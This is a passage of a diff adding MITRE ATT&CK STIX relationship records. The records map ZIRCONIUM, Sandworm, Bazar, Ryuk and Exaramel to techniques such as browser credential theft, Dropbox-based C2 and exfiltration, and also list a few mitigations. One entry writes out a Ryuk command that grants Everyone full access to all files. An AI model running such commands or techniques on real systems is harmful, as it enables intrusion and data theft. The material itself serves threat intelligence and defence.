"relationship--6de1ba44-79c0-42d1-ab75-d816904ecee8", + "type": "relationship", + "modified": "2021-03-25T13:39:14.826Z", + "created": "2021-03-25T13:39:14.826Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "external_references": [ + { + "source_name": "Google Election Threats October 2020", + "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", + "description": "Huntley, S. (2020, October 16). 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Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used Python-based implants to interact with compromised hosts.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--3b689978-c74b-48e6-8d5e-73b3a6a6ea9d", + "type": "relationship", + "modified": "2021-03-25T14:49:34.838Z", + "created": "2021-03-25T13:53:09.034Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", + "external_references": [ + { + "source_name": "Google Election Threats October 2020", + "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", + "description": "Huntley, S. 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Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used GitHub to host malware linked in spearphishing e-mails.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--1c44fd69-456d-43af-ae85-73239e295ff0", + "type": "relationship", + "modified": "2021-03-25T14:49:34.842Z", + "created": "2021-03-25T13:53:09.037Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", + "external_references": [ + { + "source_name": "Google Election Threats October 2020", + "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", + "description": "Huntley, S. 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Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) targeted presidential campaign staffers with credential phishing e-mails.(Citation: Google Election Threats October 2020)", + "relationship_type": "uses", + "id": "relationship--1023acea-b162-406d-a40d-201fc005d5ad", + "type": "relationship", + "modified": "2021-03-25T13:53:09.048Z", + "created": "2021-03-25T13:53:09.048Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "external_references": [ + { + "source_name": "Google Election Threats October 2020", + "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", + "description": "Huntley, S. (2020, October 16). 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Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used Dropbox for C2 allowing upload and download of files as well as execution of arbitrary commands.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--f309c2e1-779f-4ff4-b6b7-579aca478239", + "type": "relationship", + "modified": "2021-03-25T14:49:34.844Z", + "created": "2021-03-25T13:55:30.701Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "external_references": [ + { + "source_name": "Google Election Threats October 2020", + "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", + "description": "Huntley, S. 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Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to steal credentials from installed web browsers including Microsoft Internet Explorer and Google Chrome.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--28757531-79b3-4c51-8e6c-b9b317a06abd", + "type": "relationship", + "modified": "2021-03-25T14:49:34.786Z", + "created": "2021-03-25T14:49:34.786Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. 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Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to query the Registry for proxy settings.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--1558f550-390d-4c40-a2f7-c9aa1fcf9f1b", + "type": "relationship", + "modified": "2021-03-25T14:49:34.787Z", + "created": "2021-03-25T14:49:34.787Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the time on a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--576c98f3-5753-4242-a5e3-7c0f769c27a1", + "type": "relationship", + "modified": "2021-03-25T14:53:58.068Z", + "created": "2021-03-25T14:53:58.068Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the processor architecture of a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--0e07a552-cea0-47f0-b96b-009a19c3e09a", + "type": "relationship", + "modified": "2021-03-25T14:53:58.087Z", + "created": "2021-03-25T14:53:58.087Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used AES encrypted communications in C2.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--53da7e18-3812-47d5-a8de-af49e84f796a", + "type": "relationship", + "modified": "2021-03-25T15:10:31.960Z", + "created": "2021-03-25T15:10:31.960Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the username on a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--7b143b11-1fe5-4dc1-9790-3cd05659adc4", + "type": "relationship", + "modified": "2021-03-25T15:10:31.963Z", + "created": "2021-03-25T15:10:31.963Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to open a Windows Command Shell on a remote host.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--1b42c337-1bb7-4b42-9332-238b5edb6a63", + "type": "relationship", + "modified": "2021-03-25T15:33:01.967Z", + "created": "2021-03-25T15:33:01.967Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exfiltrated files via the Dropbox API C2.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--9ccf0f5a-e1c1-4be1-b823-cf087a07c670", + "type": "relationship", + "modified": "2021-03-25T16:01:55.246Z", + "created": "2021-03-25T16:01:55.246Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used tools to download malicious files to compromised hosts.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--ddc7af3d-f8d7-468a-b9ed-59823f96fac2", + "type": "relationship", + "modified": "2021-03-25T16:07:46.598Z", + "created": "2021-03-25T16:07:46.598Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "external_references": [ + { + "source_name": "Check Point APT31 February 2021", + "url": "https://research.checkpoint.com/2021/the-story-of-jian/", + "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used multi-stage packers for exploit code.(Citation: Check Point APT31 February 2021)", + "relationship_type": "uses", + "id": "relationship--ae5e7681-f93e-4b5f-80f9-8235a9015e7f", + "type": "relationship", + "modified": "2021-03-26T13:32:03.358Z", + "created": "2021-03-26T13:32:03.358Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "external_references": [ + { + "source_name": "Check Point APT31 February 2021", + "url": "https://research.checkpoint.com/2021/the-story-of-jian/", + "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exploited CVE-2017-0005 for local privilege escalation.(Citation: Check Point APT31 February 2021)", + "relationship_type": "uses", + "id": "relationship--cf752570-48f5-40b6-b448-b4bc009ae5df", + "type": "relationship", + "modified": "2021-03-26T13:32:03.360Z", + "created": "2021-03-26T13:32:03.360Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Check Point APT31 February 2021", + "url": "https://research.checkpoint.com/2021/the-story-of-jian/", + "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used the AES256 algorithm with a SHA1 derived key to decrypt exploit code.(Citation: Check Point APT31 February 2021)", + "relationship_type": "uses", + "id": "relationship--584bbe94-c7bf-4039-970c-545da4e2bf92", + "type": "relationship", + "modified": "2021-03-26T13:35:30.055Z", + "created": "2021-03-26T13:35:30.055Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b7010785-699f-412f-ba49-524da6033c76", + "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[GoldFinder](https://attack.mitre.org/software/S0597) performed HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request traveled through.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--001ecf24-8276-40d2-ba05-2d20e5c53ec9", + "type": "relationship", + "modified": "2021-03-26T16:48:31.963Z", + "created": "2021-03-26T16:48:31.963Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b7010785-699f-412f-ba49-524da6033c76", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. 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(2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "The [Bazar](https://attack.mitre.org/software/S0534) loader has used dual-extension executable files such as PreviewReport.DOC.exe.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--d667c620-28cb-4c86-83f7-33d6c154369c", + "type": "relationship", + "modified": "2021-03-26T21:11:31.267Z", + "created": "2021-03-26T21:11:31.267Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). 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In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) has the ability to use an alternative C2 server if the primary server fails.(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--c1d43be1-daea-4cdd-9632-e0a22f4d9073", + "type": "relationship", + "modified": "2021-03-28T23:38:09.380Z", + "created": "2021-03-28T23:38:09.380Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", + "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", + "external_references": [ + { + "source_name": "ANSSI RYUK RANSOMWARE", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "description": "ANSSI. (2021, February 25). RYUK RANSOMWARE. Retrieved March 29, 2021." + } + ], + "description": "[Ryuk](https://attack.mitre.org/software/S0446) can launch icacls /grant Everyone:F /T /C /Q to delete every access-based restrictions on files and directories.(Citation: ANSSI RYUK RANSOMWARE)", + "relationship_type": "uses", + "id": "relationship--851b5150-ad44-4af5-915a-845b3239168d", + "type": "relationship", + "modified": "2021-03-29T13:01:52.172Z", + "created": "2021-03-29T13:01:52.172Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "ANSSI RYUK RANSOMWARE", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "description": "ANSSI. (2021, February 25). RYUK RANSOMWARE. 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Retrieved March 2, 2021." + } + ], + "description": "(Citation: Malwarebytes Higaisa 2020)(Citation: PTSecurity Higaisa 2020)", + "relationship_type": "uses", + "id": "relationship--6eac5e98-29dd-4dae-8375-b459b87f28c8", + "type": "relationship", + "modified": "2021-03-30T20:16:51.220Z", + "created": "2021-03-30T20:16:51.220Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "target_ref": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", + "relationship_type": "mitigates", + "description": "Consider utilizing seccomp, seccomp-bpf, or a similar solution that restricts certain system calls such as mount.", + "id": "relationship--3d5d727d-fa37-4de4-9d31-d8e497c910de", + "type": "relationship", + "modified": "2021-04-22T16:14:59.950Z", + "created": "2021-03-31T12:29:26.807Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "target_ref": "attack-pattern--800f9819-7007-4540-a520-40e655876800", + "relationship_type": "mitigates", + "description": "Audit images deployed within the environment to ensure they do not contain any malicious components.", + "id": "relationship--bc02a307-04c7-4b8e-ab91-bf8ca261420e", + "type": "relationship", + "modified": "2021-04-19T13:39:57.188Z", + "created": "2021-03-31T12:39:11.469Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "target_ref": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", + "relationship_type": "mitigates", + "description": "Audit images deployed within the environment to ensure they do not contain any malicious components.", + "id": "relationship--b7f0b1ab-3a14-4944-aee0-8abdb24707c6", + "type": "relationship", + "modified": "2021-04-12T17:54:08.956Z", + "created": "2021-03-31T12:48:05.857Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "target_ref": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", + "relationship_type": "mitigates", + "description": "Utilize a trust model such as Docker Content Trust with digital signatures to ensure runtime verification of the integrity and publisher of specific image tags.(Citation: Content trust in Docker)(Citation: Content trust in Azure Container Registry)", + "id": "relationship--1694d196-8f00-44ee-802f-274a2c566a15", + "external_references": [ + { + "source_name": "Content trust in Docker", + "url": "https://docs.docker.com/engine/security/trust/content_trust/", + "description": "Docker. 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Retrieved March 29, 2021." + } + ], + "type": "relationship", + "modified": "2021-04-12T18:22:05.879Z", + "created": "2021-03-31T14:26:00.980Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "external_references": [ + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used webshells including [P.A.S. Webshell](https://attack.mitre.org/software/S0598) to maintain access to victim networks.(Citation: ANSSI Sandworm January 2021)", + "relationship_type": "uses", + "id": "relationship--8a7c712a-c79d-42f2-bfbf-d38798f4c855", + "type": "relationship", + "modified": "2021-03-31T15:10:48.164Z", + "created": "2021-03-31T15:10:48.164Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." + } + ], + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can decrypt its configuration file.(Citation: ANSSI Sandworm January 2021)", + "relationship_type": "uses", + "id": "relationship--6f64c3b9-7882-4bcf-9ff2-3dcce03cf632", + "type": "relationship", + "modified": "2021-03-31T15:35:34.079Z", + "created": "2021-03-31T15:35:34.079Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." + } + ], + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can uninstall its persistence mechanism and delete its configuration file.(Citation: ANSSI Sandworm January 2021)", + "relationship_type": "uses", + "id": "relationship--9cc847b7-61ae-46f7-ab06-16560775d44b", + "type": "relationship", + "modified": "2021-03-31T15:35:34.085Z", + "created": "2021-03-31T15:35:34.085Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." + } + ], + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can run whoami to identify the system owner.(Citation: ANSSI Sandworm January 2021)", + "relationship_type": "uses", + "id": "relationship--23f656c7-600f-46a7-8185-0edf45299bac", + "type": "relationship", + "modified": "2021-03-31T15:38:55.052Z", + "created": "2021-03-31T15:38:55.052Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "external_references": [ + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." + } + ], + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can attempt to find a new C2 server if it receives an error.(Citation: ANSSI Sandworm January 2021)", + "relationship_type": "uses", + "id": "relationship--73a5da20-5358-4da8-8417-020a7dec52cb", + "type": "relationship", + "modified": "2021-03-31T15:41:09.035Z", + "created": "2021-03-31T15:41:09.035Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "external_references": [ + { + "source_name": "ANSSI Sandworm January 2021", + 